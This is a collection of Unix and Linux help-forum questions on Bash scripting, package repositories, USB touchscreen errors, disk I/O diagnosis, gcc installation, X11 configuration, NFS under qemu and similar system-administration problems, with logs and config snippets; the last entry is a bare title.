title: Function caller positional parameters

text: I need to read and write the positional parameters `$@` of a function's caller. The Bash man page says that: > A shell function is an object that is called like a simple command and > executes a compound command with a new set of positional parameters So `$@` is rewritten at every call. I looked for some "special parameter" but found nothing. The shell variable `BASH_ARGV` seems to solve my problem, however it requires `shopt -s extdebug` enabled, what isn't the default behavior in my machine neither looks like a option to turn on in production.               extdebug         If set, behavior intended for use by debuggers is enabled:         ...         4.     BASH_ARGC and BASH_ARGV are updated as described in their                descriptions above.         ...      Is Bash capable of read or write a function's caller `$@` without `BASH_ARGV`? Do you think that Bash is limited and use another shell for scripting? **Edit:** I want a fancy `getopt` wrapper inside my helper library. So all behavior related to it goes inside a function. No need to check errors or `set --`.


title: Is it stable to use epel and rpmforge in the same time?

text: So after a fresh Scientific Linux 6.3 Desktop install, I:               yum install rpmforge-release && yum update      and               yum install epel-release.noarch      then:               yum install wine gparted cups-pdf && echo 'includepkgs=nss-mdns wine* gparted cups-pdf' >> /etc/yum.repos.d/epel.repo      OK! After this I:               vi /etc/yum.repos.d/epel.repo     includepkgs=nss-mdns wine* gparted cups-pdf      So this is how I install a fresh wine (+cups-pdf) and gparted. **Q** : Is this a stable thing to do? I mean can this cause problems in the future? (that there are some epel packages installed, but I use a whitelist after installing the mentioned few packages to help stability - because I only need epel for the few things gparted/wine/cups-pdf). Will these stepes cause problems in the future?


title: ELAN Touchscreen on Ubuntu 14.04 and Debian 7.6

text: I recently purchased an ASUS Q550LF laptop with Windows 8.1 preinstalled, and subsequently installed Ubuntu 14.04 and Debian 7.6. I use Ubuntu for most tasks, but occasionally have reason to boot Debian. The problem is that Debian won't boot. At some point during the boot process, I receive variations on the following error messages:               [time] usb 1-7: unable to read config index 0 descriptor/start: -71     [time] usb 1-7: can't read configurations, error -71          [time] usb 1-7: unable to read config index 0 descriptor/start: -110     [time] usb 1-7: can't read configurations, error -110      They repeat indefinitely, and the boot process hangs. I don't have a problem with the touchscreen in Windows or Ubuntu, so I suspect some problem with Debian. When booting Ubuntu the same error message occurs, but eventually the touchscreen is recognized:               $ lsusb     Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub     Bus 001 Device 006: ID 0bda:0139 Realtek Semiconductor Corp. RTS5139 Card Reader Controller     Bus 001 Device 023: ID 04f3:010c Elan Microelectronics Corp.      Bus 001 Device 004: ID 13d3:5188 IMC Networks      Bus 001 Device 003: ID 8087:07dc Intel Corp.      Bus 001 Device 002: ID 046d:c00c Logitech, Inc. Optical Wheel Mouse     Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub          $ dmesg -k | grep 'usb 1-7'     [    1.685457] usb 1-7: new full-speed USB device number 5 using xhci_hcd     [    1.702858] usb 1-7: New USB device found, idVendor=04f3, idProduct=010c     [    1.702862] usb 1-7: New USB device strings: Mfr=4, Product=14, SerialNumber=0     [    1.702864] usb 1-7: Product: Touchscreen     [    1.702866] usb 1-7: Manufacturer: ELAN     [    1.703007] usb 1-7: ep 0x2 - rounding interval to 64 microframes, ep desc says 80 microframes     [    3.822847] usb 1-7: USB disconnect, device number 5     [    4.095373] usb 1-7: new full-speed USB device number 7 using xhci_hcd     [    6.233335] usb 1-7: unable to read config index 0 descriptor/start: -71     [    6.233371] usb 1-7: can't read configurations, error -71     [    6.345226] usb 1-7: new full-speed USB device number 8 using xhci_hcd     [    8.483093] usb 1-7: unable to read config index 0 descriptor/start: -71     [    8.483135] usb 1-7: can't read configurations, error -71     [    8.594952] usb 1-7: new full-speed USB device number 9 using xhci_hcd     [   10.733650] usb 1-7: unable to read config index 0 descriptor/start: -71     [   10.733688] usb 1-7: can't read configurations, error -71     [   10.900889] usb 1-7: new full-speed USB device number 10 using xhci_hcd     [   13.040048] usb 1-7: unable to read config index 0 descriptor/start: -71     [   13.040053] usb 1-7: can't read configurations, error -71     [   13.318826] usb 1-7: new full-speed USB device number 11 using xhci_hcd     [   13.336201] usb 1-7: New USB device found, idVendor=04f3, idProduct=010c     [   13.336202] usb 1-7: New USB device strings: Mfr=4, Product=14, SerialNumber=0     [   13.336204] usb 1-7: Product: Touchscreen     [   13.336205] usb 1-7: Manufacturer: ELAN     [   13.336354] usb 1-7: ep 0x2 - rounding interval to 64 microframes, ep desc says 80 microframes     [   15.458888] usb 1-7: USB disconnect, device number 11     [   15.788782] usb 1-7: new full-speed USB device number 12 using xhci_hcd     [   15.806165] usb 1-7: New USB device found, idVendor=04f3, idProduct=010c     [   15.806169] usb 1-7: New USB device strings: Mfr=4, Product=14, SerialNumber=0     [   15.806171] usb 1-7: Product: Touchscreen     [   15.806173] usb 1-7: Manufacturer: ELAN     [   15.806291] usb 1-7: ep 0x2 - rounding interval to 64 microframes, ep desc says 80 microframes     [   17.928881] usb 1-7: USB disconnect, device number 12     [   18.218822] usb 1-7: new full-speed USB device number 13 using xhci_hcd     [   18.236215] usb 1-7: New USB device found, idVendor=04f3, idProduct=010c     [   18.236218] usb 1-7: New USB device strings: Mfr=4, Product=14, SerialNumber=0     [   18.236221] usb 1-7: Product: Touchscreen     [   18.236222] usb 1-7: Manufacturer: ELAN     [   18.236328] usb 1-7: ep 0x2 - rounding interval to 64 microframes, ep desc says 80 microframes     [   20.359363] usb 1-7: USB disconnect, device number 13     [   21.265243] usb 1-7: new full-speed USB device number 14 using xhci_hcd     [   21.283198] usb 1-7: New USB device found, idVendor=04f3, idProduct=010c     [   21.283203] usb 1-7: New USB device strings: Mfr=4, Product=14, SerialNumber=0     [   21.283205] usb 1-7: Product: Touchscreen     [   21.283207] usb 1-7: Manufacturer: ELAN     [   21.283339] usb 1-7: ep 0x2 - rounding interval to 64 microframes, ep desc says 80 microframes     [   23.406502] usb 1-7: USB disconnect, device number 14     [   23.687181] usb 1-7: new full-speed USB device number 15 using xhci_hcd     [   25.828401] usb 1-7: unable to read config index 0 descriptor/start: -71     [   25.828406] usb 1-7: can't read configurations, error -71     [   25.993113] usb 1-7: new full-speed USB device number 16 using xhci_hcd     [   28.134506] usb 1-7: unable to read config index 0 descriptor/start: -71     [   28.134512] usb 1-7: can't read configurations, error -71     [   28.298972] usb 1-7: new full-speed USB device number 17 using xhci_hcd     [   30.440820] usb 1-7: unable to read config index 0 descriptor/start: -71     [   30.440825] usb 1-7: can't read configurations, error -71     [   30.552709] usb 1-7: new full-speed USB device number 18 using xhci_hcd     [   32.694248] usb 1-7: unable to read config index 0 descriptor/start: -71     [   32.694253] usb 1-7: can't read configurations, error -71     [   32.970694] usb 1-7: new full-speed USB device number 19 using xhci_hcd     [   35.111542] usb 1-7: unable to read config index 0 descriptor/start: -71     [   35.111546] usb 1-7: can't read configurations, error -71     [   35.276520] usb 1-7: new full-speed USB device number 20 using xhci_hcd     [   37.417528] usb 1-7: unable to read config index 0 descriptor/start: -71     [   37.417533] usb 1-7: can't read configurations, error -71     [   37.582405] usb 1-7: new full-speed USB device number 21 using xhci_hcd     [   39.723735] usb 1-7: unable to read config index 0 descriptor/start: -71     [   39.723740] usb 1-7: can't read configurations, error -71     [   39.888351] usb 1-7: new full-speed USB device number 22 using xhci_hcd     [   47.031720] usb 1-7: unable to read config index 0 descriptor/start: -110     [   47.031725] usb 1-7: can't read configurations, error -110     [   47.271826] usb 1-7: new full-speed USB device number 23 using xhci_hcd     [   47.289529] usb 1-7: New USB device found, idVendor=04f3, idProduct=010c     [   47.289534] usb 1-7: New USB device strings: Mfr=4, Product=14, SerialNumber=0     [   47.289536] usb 1-7: Product: Touchscreen     [   47.289538] usb 1-7: Manufacturer: ELAN     [   47.289666] usb 1-7: ep 0x2 - rounding interval to 64 microframes, ep desc says 80 microframes      I can't disable the touchscreen in the BIOS, and most of the purported solutions I've encountered when researching the problem don't work. I'm not even sure how I would go about solving the problem. If someone could point me in the right direction, I would appreciate it. Thanks in advance!


title: What files are being updated or written in /dev/sda?

text: root@host [/etc]# iostat -xk     Linux 2.6.32-279.19.1.el6.x86_64 (host.superhostsite.com)       01/13/2013      _x86_64_        (24 CPU)          avg-cpu:  %user   %nice %system %iowait  %steal   %idle               12.53    0.19    3.72    0.18    0.00   83.38          Device:         rrqm/s   wrqm/s     r/s     w/s    rkB/s    wkB/s avgrq-sz avgqu-sz   await  svctm  %util     sda               0.24   252.39   13.95    4.24   381.61  1026.56   154.88     1.35   73.99   1.67   3.04     sdb               0.00    12.88   62.55  134.82   755.65  1146.14    19.27     0.82    4.17   0.10   1.92     sdc               0.01   129.31   28.19  298.49   451.10  1711.38    13.24     0.21    0.63   0.05   1.75          root@host [/etc]# mount     /dev/sda3 on / type ext4 (rw,noatime,noload,data=ordered,commit=10)     proc on /proc type proc (rw)     sysfs on /sys type sysfs (rw)     devpts on /dev/pts type devpts (rw,gid=5,mode=620)     tmpfs on /dev/shm type tmpfs (rw,rootcontext="system_u:object_r:tmpfs_t:s0")     /dev/sda1 on /boot type ext4 (rw)     /dev/sdb1 on /home2 type ext2 (rw,noatime)     /dev/sdc1 on /home3 type ext4 (rw,noatime,noload,data=ordered,commit=10)     none on /proc/sys/fs/binfmt_misc type binfmt_misc (rw)     /usr/tmpDSK on /tmp type ext3 (rw,noexec,nosuid,loop=/dev/loop0)     /tmp on /var/tmp type none (rw,noexec,nosuid,bind)     root@host [/etc]#      1026 wKB/s and 73 seconds wait. What is being written there? It makes the whole server slow. SDA is the only drive that is not SSD. This could be the bottle neck. One approach I am thinking is to do solution in How to know recently updated files However, sda, being the root, is mounted at / there are files in sdb and sdc that are written but I don't care about them. iotop -o -a yields               Total DISK READ: 1314.41 K/s | Total DISK WRITE: 3.58 M/s       TID  PRIO  USER     DISK READ  DISK WRITE  SWAPIN     IO>    COMMAND     13266 be/4 root          0.00 B      2.22 M  0.00 %  0.67 % [flush-8:16]       880 be/3 root          0.00 B    144.00 K  0.00 %  0.61 % [jbd2/sda3-8]      1778 be/4 root          0.00 B      0.00 B  0.00 %  0.08 % [kjournald]       940 be/4 root          0.00 B   1024.00 K  0.00 %  0.04 % [flush-8:32]     26823 be/4 nudenude     24.00 K    300.00 K  0.00 %  0.01 % php /home2/nudenude/public_html/hello/index.php      1775 be/0 root          0.00 B     56.00 K  0.00 %  0.00 % [loop0]     27273 be/4 nudenude      8.00 K    360.00 K  0.00 %  0.01 % [php]       128 be/4 root          0.00 B      4.00 K  0.00 %  0.00 % [sync_supers]      8414 be/4 nobody        0.00 B      8.00 K  0.00 %  0.00 % httpd -k start -DSSL     24938 be/4 nobody        0.00 B      4.00 K  0.00 %  0.00 % httpd -k start -DSSL     24997 be/4 nobody        0.00 B     16.00 K  0.00 %  0.00 % httpd -k start -DSSL     25068 be/4 nobody        0.00 B     12.00 K  0.00 %  0.00 % httpd -k start -DSSL     25070 be/4 nobody        0.00 B     12.00 K  0.00 %  0.00 % httpd -k start -DSSL     25074 be/4 nobody        0.00 B     16.00 K  0.00 %  0.00 % httpd -k start -DSSL     25075 be/4 nobody        0.00 B      4.00 K  0.00 %  0.00 % httpd -k start -DSSL     25076 be/4 nobody        0.00 B      8.00 K  0.00 %  0.00 % httpd -k start -DSSL      4215 be/4 root          0.00 B      4.00 K  0.00 %  0.00 % whostmgrd - serving 139.193. --llu=1357836602 --listen=3,4,5,6,7,8      4117 be/4 nobody        0.00 B     12.00 K  0.00 %  0.00 % httpd -k start -DSSL     21264 be/4 nobody        0.00 B      4.00 K  0.00 %  0.00 % httpd -k start -DSSL     25398 be/4 nobody        0.00 B      4.00 K  0.00 %  0.00 % httpd -k start -DSSL     17226 be/4 nobody        0.00 B      4.00 K  0.00 %  0.00 % httpd -k start -DSSL     21331 be/4 nobody        0.00 B      4.00 K  0.00 %  0.00 % httpd -k start -DSSL     21332 be/4 nobody        0.00 B      4.00 K  0.00 %  0.00 % httpd -k start -DSSL     17290 be/4 nobody        0.00 B      8.00 K  0.00 %  0.00 % httpd -k start -DSSL     17296 be/4 nobody        0.00 B      4.00 K  0.00 %  0.00 % httpd -k start -DSSL       938 be/4 root          0.00 B     24.00 K  0.00 %  0.00 % [flush-8:0]     17358 be/4 nobody        0.00 B      8.00 K  0.00 %  0.00 % httpd -k start -DSSL     21467 be/4 nobody        0.00 B     20.00 K  0.00 %  0.00 % httpd -k start -DSSL     17372 be/4 nobody        0.00 B      8.00 K  0.00 %  0.00 % httpd -k start -DSSL     21470 be/4 nobody        0.00 B      8.00 K  0.00 %  0.00 % httpd -k start -DSSL     21471 be/4 nobody        0.00 B     16.00 K  0.00 %  0.00 % httpd -k start -DSSL     17377 be/4 nobody        0.00 B      8.00 K  0.00 %  0.00 % httpd -k start -DSSL     17381 be/4 nobody        0.00 B      8.00 K  0.00 %  0.00 % httpd -k start -DSSL     17465 be/4 nobody        0.00 B     12.00 K  0.00 %  0.00 % httpd -k start -DSSL     17467 be/4 nobody        0.00 B      4.00 K  0.00 %  0.00 % httpd -k start -DSSL     17483 be/4 nobody        0.00 B      4.00 K  0.00 %  0.00 % httpd -k start -DSSL     17492 be/4 nobody        0.00 B      4.00 K  0.00 %  0.00 % httpd -k start -DSSL     17501 be/4 nobody        0.00 B     12.00 K  0.00 %  0.00 % httpd -k start -DSSL     17507 be/4 nobody        0.00 B      4.00 K  0.00 %  0.00 % httpd -k start -DSSL     17509 be/4 nobody        0.00 B      8.00 K  0.00 %  0.00 % httpd -k start -DSSL


title: is writing to slow storage in nohup mode blocking the process?

text: If I have a process writing to nohup and the storage where it writes to is slow, does it block the process which is running in nohup? For example: process A is running in nohup, it needs to write 10 lines to console it takes 2 minutes for disk storage to write these 10 lines into nohup.out (it write 6 lines and then it stuck for a minute waiting for disk) is the process A blocked until the remaining lines can be written, or not?


title: How to install Redhat using the iso image stored on Network

text: This is the case. I want to install the Redhat 5.6 on my system. But this time i dont want to use the actual DVD but this time i want to install it using the iso image stored on one of our server HDD. How can I do that.


title: How to escape special characters in a string?

text: Assuming `$file` holding a value of a file name, say `Dr' A.tif`. In bash programming, how could I escape single quote and any other special character of the `$file` without removing the special character? **Update on 9 July 2014** As request from @Gilles, following code snippet that doesn't able to handle `Dr' A.tif`:               files=$(find /path/ -maxdepth 1 -name "*.[Pp][Dd][Ff]" -o -name "*.[Tt][Ii][Ff]")     echo "${files}" > ${TEMP_FILE}     while read file     do        newfile=$(echo "${file}" | sed 's, ,\\ ,g') ## line 1     done < ${TEMP_FILE}      After I have tried out the answer from @Patrick on `line 1`, it seems to work for me. But if I have file such as `Dr\^s A.tif`, `printf` command doesn't seem help, it shows me `Dr\^s\ A.tif`. If I manually try it on console like this: `printf "%q" "Dr\^s A.tif"` I will have this output: `Dr\\\\\^s\ A.tif` Any idea how to handle this?


title: chdir(<directory>) doesn't change directory after exiting to shell

text: I wanted to make a simple `C` program to change to my project directory. Its content is following:               #include <unistd.h>     int main(){         chdir("/home/enedil/projects/algo");         return 0;     }      I compiled it with following commnd (`pro.c` is its file name):               gcc pro.c -o /usr/local/bin/pro      There were no errors nor warnings. But when I run it, it does **not** change directory. Why?


title: Logstash agent does not send logs to Redis server

text: I can't ship logs from Logstash to Redis server. Getting this error:               Failed to send event to redis {:event=>#<LogStash::Event:0x7ccb7867 @cancelled=false, @data={"message"=>"welocwelcome", "@timestamp"=>"2014-07-07T21:00:34.583Z", "@version"=>"1", "host"=>"localhost.localdomain"}>, :identity=>"default", :exception=>#<Errno::EHOSTUNREACH: No route to host - SocketChannel.connect>, :backtrace=>["org/jruby/ext/socket/RubyTCPSocket.java:123:in `initialize'", "file:/opt/logstash/logstash-1.2.2-flatjar.jar!/redis/connection/ruby.rb:13:in `initialize'", "org/jruby/RubyIO.java:855:in `new'", "file:/opt/logstash/logstash-1.2.2-flatjar.jar!/redis/connection/ruby.rb:74:in `connect'", "org/jruby/ext/timeout/Timeout.java:127:in `timeout'", "file:/opt/logstash/logstash-1.2.2-flatjar.jar!/redis/connection/ruby.rb:73:in `connect'", "file:/opt/logstash/logstash-1.2.2-flatjar.jar!/redis/connection/ruby.rb:180:in `connect'", "file:/opt/logstash/logstash-1.2.2-flatjar.jar!/redis/client.rb:273:in `establish_connection'", "file:/opt/logstash/logstash-1.2.2-flatjar.jar!/redis/client.rb:69:in `connect'", "file:/opt/logstash/logstash-1.2.2-flatjar.jar!/redis/client.rb:292:in `ensure_connected'", "file:/opt/logstash/logstash-1.2.2-flatjar.jar!/redis/client.rb:179:in `process'", "file:/opt/logstash/logstash-1.2.2-flatjar.jar!/redis/client.rb:258:in `logging'", "file:/opt/logstash/logstash-1.2.2-flatjar.jar!/redis/client.rb:178:in `process'", "file:/opt/logstash/logstash-1.2.2-flatjar.jar!/redis/client.rb:84:in `call'", "file:/opt/logstash/logstash-1.2.2-flatjar.jar!/redis.rb:972:in `rpush'", "file:/opt/logstash/logstash-1.2.2-flatjar.jar!/redis.rb:36:in `synchronize'", "jar:file:/opt/logstash/logstash-1.2.2-flatjar.jar!/META-INF/jruby.home/lib/ruby/1.9/monitor.rb:211:in `mon_synchronize'", "jar:file:/opt/logstash/logstash-1.2.2-flatjar.jar!/META-INF/jruby.home/lib/ruby/1.9/monitor.rb:210:in `mon_synchronize'", "file:/opt/logstash/logstash-1.2.2-flatjar.jar!/redis.rb:36:in `synchronize'", "file:/opt/logstash/logstash-1.2.2-flatjar.jar!/redis.rb:971:in `rpush'", "file:/opt/logstash/logstash-1.2.2-flatjar.jar!/logstash/outputs/redis.rb:162:in `receive'", "file:/opt/logstash/logstash-1.2.2-flatjar.jar!/logstash/outputs/base.rb:85:in `handle'", "(eval):21:in `initialize'", "org/jruby/RubyProc.java:271:in `call'", "file:/opt/logstash/logstash-1.2.2-flatjar.jar!/logstash/pipeline.rb:254:in `output'", "file:/opt/logstash/logstash-1.2.2-flatjar.jar!/logstash/pipeline.rb:213:in `outputworker'", "file:/opt/logstash/logstash-1.2.2-flatjar.jar!/logstash/pipeline.rb:140:in `start_outputs'"], :level=>:warn}      This is content of my logstash config-file:               input { stdin { } }     output {       stdout { codec => rubydebug }       redis { host => "192.168.209.129" data_type => "list" key => "logstash" }     }      I'm a newbie and failing to understand how it could be solved.


title: tmux hightlight colour setting

text: In `tmux`, the default highlight setting is a yellow background -- at least on my version and machine. This is when using the mouse on X11 but is the same with the console selection. I cannot find the option to change this in the man page. What is the option to change this?


title: Where can I set global Java Options?

text: I have horrible, improperly-rendered fonts in Java programs such as `jabref` and `rubymine`. This can be fixed by running               _JAVA_OPTIONS='-Dawt.useSystemAAFontSettings=on' jabref      I understand that I could export these Java options as environment variables, and launch the programs from the command line. However, is there a way to set these options globally, so that all Java programs recognise them, no matter how they are launched? I'm also know that I could modify all the `*.desktop` files for my Java programs, but I'm looking for a global solution. I am using `java-7-openjdk` on Arch Linux. (FWIW this used to be okay with the now-broken jre7-openjdk-headless-infinality installed.)


title: Install gcc into x86_64-linux-gnu

text: I'm trying to compile and install gcc-4.9.0 on my Debian system, and in particular I want the new version to overwrite an old version of libstdc++.so.6 in `/usr/lib/x86_64-linux-gnu` that came as standard with my distribution, but which offends various other programs I've installed because it is too old. When I built from source, the configure options I used (with guidance from here) were:               configure --prefix=/usr           \               --libdir=/usr/lib       \               --enable-shared         \               --enable-threads=posix  \               --enable-__cxa_atexit   \               --enable-clocale=gnu    \               --disable-multilib      \               --with-system-zlib      \               --enable-languages=c,c++,fortran      `make` and `make install` ran successfully; `make` puts the compiled code into `gcc-build/x86_64-unknown-linux-gnu`, but unexpectedly `make install` copies it not into `/usr/lib/x86-64-linux-gnu`, but into `/usr/lib64`. What configuration option should I use to get the final version into `/usr/lib/x86_64-linuc-gnu`? I thought that perhaps the problem was the `\--disable-multilib` option, but when I tried to compile without this I got a configure error to the effect:               configure: error: I suspect your system does not have 32-bit developement    libraries (libc and headers). If you have them, rerun configure with --enable-multilib. If you do not have them, and want to build a 64-bit-only compiler, rerun configure with --disable-multilib.      ...so it obviously isn't that.


title: Open message with given message-id from command line in mutt

text: I have the value of the `Message ID` header of a particular message in my mutt's inbox and I want to open it with a one shot mutt command, read and close. Currently, I open mutt, do a with `~i <the-message-id>`, which lists just one message, and then open it with `o` (My keybinding to open a message). Is there a way I can create a shell function/script to enable a usage like               mutt-open-message <the-message-id>      and the message opens up in mutt? I tried playing around with the `-e` option of mutt but couldn't get this functionality working. Any ideas on this?


title: How to install Ubuntu 11.04 after installing OpenSolaris.2009.06 without causing any problems?

text: I have installed `OpenSolaris.2009.06` on a server a few month ago, and have been working with it. Now I wanted to install Ubuntu 11.04. I have a large amount of sensitive data on OpenSolaris. Is there anyway to install `Ubuntu 11.04` without causing any problems to the existing data on the OpenSolaris. Like creating another partition etc. I have also tried googling, but almost all the sources are showing how to dual boot `Opensolaris` and `Ubuntu` from the `scratch`. Could someone help me in this, please?


title: Copying linux install from non-RAID/x86 to RAID/x86-64

text: I'm copying an Ubuntu Server install from an x86 machine with a single hard disk to a new machine with x64 and two identical disks. Two partitions will span the new disks: One small-ish RAID1 for the OS and my critical data, and one large RAID0 partition, mounted from /home/media, that will hold all my movies and music. I'd also like to upgrade from Hardy to Lucid if it's not a total pain-- I've got quite a lot of software/daemons configured and running on the old machine which I'd rather not have to re-create by hand. I've found this helpful post on copying linux installs, and a few articles on setting up RAID with mdadm. I am less clear, though, about how these processes might interfere with each other. Also, the installation post warns about copying from x86 to x64, but wasn't very specific about why. So my questions are:   * What extra concerns are there for copying to x64?   * In what order should I partition the drives, install the OS, set up the raid, and copy the data? Does it matter much? Since some of these are time-consuming steps, I thought I'd get some advice before I start.   * How should booting from the RAID disks work? (I've heard Grub may have issues?)


title: Is there a way to find out when an OS instance was installed on a host?

text: I am currently using RHEL 5.8 and SunOS 5.10 at work and Fedora 16 at home. Is there any way to find out the date when any or all of those OS instances were installed on a host? The reason I want it is because I need to give some c**p to some RHEL admins cause they have Perl 5.8.8 installed, which is like 10 years old, yet I think the host is less than a year old -- there is no reason they couldn't have installed a fresher version (e.g. 5.8.8 doesn't come with XML::Parser, among other) except maybe laziness to update and/or the red tape.


title: Getting better resolution on OpenSolaris.2009.06?

text: I am running `OpenSolaris.2009.06` on Dell PowerEdge T410 server (x86 machine). It has Matrox G200 video card. Currently I am getting a maximum of `1024 * 800` screen resolution. There is no xorg.conf file under /etc/X11. Moreover, I am unable to find drivers for G200 card either using Google or Matrox webssite. My 26'' LCD display can support more than `(1024 * xx )` resolution. Therefore, I have created xorg.conf file with the following details. However, with the xorg.conf file, the maximum screen resolution I am getting is `840*600`. I think that something wrong with the xorg.conf file. To get at least the default `(1024 * xx)` resolution, I have needed to delete the xorg.conf file and restart the GDM. Could anyone help me to get a better screen resolution, please? BTW, I have also posted this question on opensolaris forum, but there is no response.               Section "ServerLayout"         Identifier     "Layout0"         Screen      0  "Screen0"         InputDevice    "Keyboard0" "CoreKeyboard"         InputDevice    "Mouse0" "CorePointer"     EndSection          Section "Files"         FontPath        "/usr/X11R6/lib/X11/fonts/misc/:unscaled"         FontPath        "/usr/X11R6/lib/X11/fonts/100dpi/:unscaled"         FontPath        "/usr/X11R6/lib/X11/fonts/75dpi/:unscaled"         FontPath        "/usr/X11R6/lib/X11/fonts/misc/"         FontPath        "/usr/X11R6/lib/X11/fonts/100dpi/"         FontPath        "/usr/X11R6/lib/X11/fonts/75dpi/"         FontPath        "catalogue:/etc/X11/fontpath.d"     EndSection          Section "InputDevice"         # generated from default         Identifier     "Mouse0"         Driver         "mouse"         Option         "Protocol" "auto"         Option         "Device" "/dev/mouse"         Option         "Emulate3Buttons" "no"         Option         "ZAxisMapping" "4 5 6 7"     EndSection          Section "InputDevice"         # generated from default         Identifier     "Keyboard0"         Driver         "keyboard"     EndSection          Section "Monitor"         Identifier     "Monitor0"         VendorName     "Unknown"         ModelName      "Unknown"         HorizSync       28.0 - 33.0         VertRefresh     43.0 - 72.0         Option         "DPMS"     EndSection          Section "Device"         Identifier     "Card0"         Driver         "vesa"     EndSection          Section "Screen"         Identifier     "Screen0"         Device         "Device0"         Monitor        "Monitor0"         DefaultDepth    24         SubSection     "Display"             Depth       24             ViewPort    0 0                 Depth   24                 Modes   "1280x1024_60.00" "1440x900_60.00" "1024x768_75.00" "800x600_75_00" "640x480_60.00"         EndSubSection     EndSection


title: Relationship between cc1 and gcc?

text: I'm trying to install Ruby in my home directory on a Linux server (without root access), which of course requires using `gcc`. The closest thing I can find is a directory by that name which (if you go deep enough) contains `cc1`:               >: find / -iname gcc 2> /dev/null     /usr/libexec/gcc               >: tree -if /usr/libexec/gcc     /usr/libexec/gcc     /usr/libexec/gcc/x86_64-redhat-linux     /usr/libexec/gcc/x86_64-redhat-linux/4.1.1     /usr/libexec/gcc/x86_64-redhat-linux/4.1.1/cc1     /usr/libexec/gcc/x86_64-redhat-linux/4.1.2 -> 4.1.1      The fact that CC1 redirects to GCC on Wikipedia seems to imply something close to identity, however there's no other mention of CC1 on the GCC page besides the note about redirection, and Googling hasn't gotten me anything useful, and my attempts to use `cc1` in place of `gcc` have failed. What exactly is the relationship between them? And does it offer me any hope of compiling Ruby on this machine?


title: vim: replace all character till end of line

text: Maybe I am being daft but can you replace all the characters from where the cursor is to the end of line by one command? Then use `.` to do the same replace on the next line and so on.


title: Scan for Network attached devices

text: Is there a way to scan for computers on the network through the command line and get their IP, MAC and DNS names without knowing anything about them?


title: How to stop a program running as daemon

text: I have launched `iperf` in daemon mode with `iperf -s -D` and now I want to stop the service. I tried to use `sudo kill pid` but it neither work nor complain. The daemon is still running when I check through `ps -ef | grep iperf`. As it is not launched by Linux, I cannot find it through `service` as other daemons. How could I stop it?


title: Find the location of /gnu

text: I'm working on my university server and trying to find the location of /gnu. I know that it is installed with the latest version as I get the correct version using:`g++ --version` On using find `find gnu` it return no result. How can I find the path to gnu?


title: Print text between tags (inclusive) if certain text is found

text: I've got a task to extract data from several Apache servers. The task is to print out:               <Directory ...>       ...     </Directory>      where +ExecCGI is located within. Let me give an example to illustrate. Assume that the Apache configuration file has numerous Directory sections as indicated below:               <Directory /var/www/site1/htdocs>       Options +ExecCGI       ...       ...     </Directory>     ...     ...     ...     <Directory /var/www/site1/Promo>       Options -ExecCGI       ...       ...     </Directory>      From above, I would only like to get the following output:               <Directory /var/www/site1/htdocs>       Options +ExecCGI       ...       ...     </Directory>      I've searched the forums and have found posts where people have asked questions on how to print out a whole section between tags (I know how to do that), or to change certain text when found (again, I know how to do that). I will be changing the +ExecCGI to -ExecCGI, but the changes need to go through a review process and hence this question so that I can pull this data out.


title: What are the right settings for Ubuntu Touch under qemu?

text: As you can see here, Canonical is releasing the images for Ubuntu touch, the problem is that apparently those are snapshots from a complete installation, there is no installer here and no vmlinuz + initrd. Also in `qemu-system-arm -M help` there is no platform that can fit one of the 4 that are officially supported, Does anyone knows how to run Ubuntu touch under qemu ? I have tried the classic way with kernel options and different boot options but nothing happens, I also can't really figure out what Canonical means with `bootimg`, they are supposed to be initrd ? kernel images ?


title: How do I download from SourceForge with wget?

text: This question explains how to do it with `curl`. The accepted answer also points out that > If wget is available, that would be far simpler. I looked through `mam wget` but the got lost in there, and didn't find an option to follow redirects.


title: openSUSE catalyst driver

text: I recently installed openSUSE and I'm trying to get my radeon HD 7xxx running ok with drivers but I haven't been unable to do that. This is my output after trying to install the driver I downloaded from AMD: > Supported adapter detected. Detected a previous installation, > /usr/share/ati/fglrx-uninstall.sh Installation with force option. Check if > system has the tools required for installation. fglrx installation requires > that the system have kernel headers for 3.7 release. > /lib/modules/3.7.10-1.1-desktop/build/include/generated/uapi/linux/version.h > cannot be found on this system. fglrx installation is being forced. > Installation will proceed without the required tools on the system. > > Uninstalling any previously installed drivers. One or more files have been > altered since installation. Uninstall will not be completed. See > /etc/ati/fglrx-uninstall.log for details. [Message] Kernel Module : Trying > to install a precompiled kernel module. [Message] Kernel Module : > Precompiled kernel module version mismatched. [Message] Kernel Module : > Found kernel module build environment, generating ker$ AMD kernel module > generator version 2.1 kernel includes at > /lib/modules/3.7.10-1.1-desktop/build/include not found or i$ [Error] Kernel > Module : Failed to compile kernel module - please consult readme. [Reboot] > Kernel Module : mkinitrd I hope some of you can help me. Thanks


title: NFS server on qemu guest

text: I need to know how I can mount block devices, placed on a qemu guest system, from host. So in this case we have NFS server placed on guest system and NFS client on the host's side. There are a lot of examples, but I don't know what address to specify, while mounting folder located on `qemu` guest from host system.               mount root@localhost:/storage /mnt/storage -t sshfs -o port=2222*      works for `sshfs`, but not for NFS (can't recognize server name). I used the following steps **on the servers side:**   1. download and start nfs-kernel-server   2. add /storage_nfs to exports   3. `exportfs -va` On the **clients side:**   1. Download and install nfs utils   2. Try to `mount root@localhost:/storage /mnt/storage -t nfs -o port=2222` (qemu port) But it seems that root@localhost is invalid (but it works for `sshfs`). How can I use qemu guest as nfs server?


title: Is it not possible to store my local websites in my Dropbox folder?

text: I have a bunch of web sites that I develop, and I run an Apache server locally to do debugging and design. The web sites use Apache, PHP, and MySQL. To be clear, my Apache server is not serving these sites to the internet, I just access them locally. I develop on two machines. One desktop, and one laptop. Both are running Linux Mint, and I try to keep the settings consistent between them. This means I have to duplicate the Apache and PHP configurations. I keep the directory structures the same. I have to make sure to copy the MySQL databases from one machine to the other if I make changes. Which is not ideal. It's prone to human error, especially with keeping the MySQL databases synched. Sometimes I work on one on one machine, forget to export and import the databases, and then after I've done work on the other machine, I have two versions and I can't easily merge them. Also, it's a hassle for making backups. What does work is that I store all my HTML, CSS, and Javascript in a folder in my Dropbox directory. So any changes I make to those files are automatically syncronized. It also means I have a backup in the cloud. Should the need arise, to restore these files if I ever move to a new machine, I just have to install Dropbox and all the files are recovered. The most I have to do if setting up on a new computer is create a symlink to my Dropbox directory where my HTML files are stored:               sudo ln -s  /home/dave/Dropbox/Websites /var/www/Websites      Is there a way I can do this with my Apache settings and MySQL databases as well? Where I can keep them synchronized across both machines in my Dropbox folder, and have a miminum of set up if I go to a new machine?


title: Real mode and loading linux kernel confusing

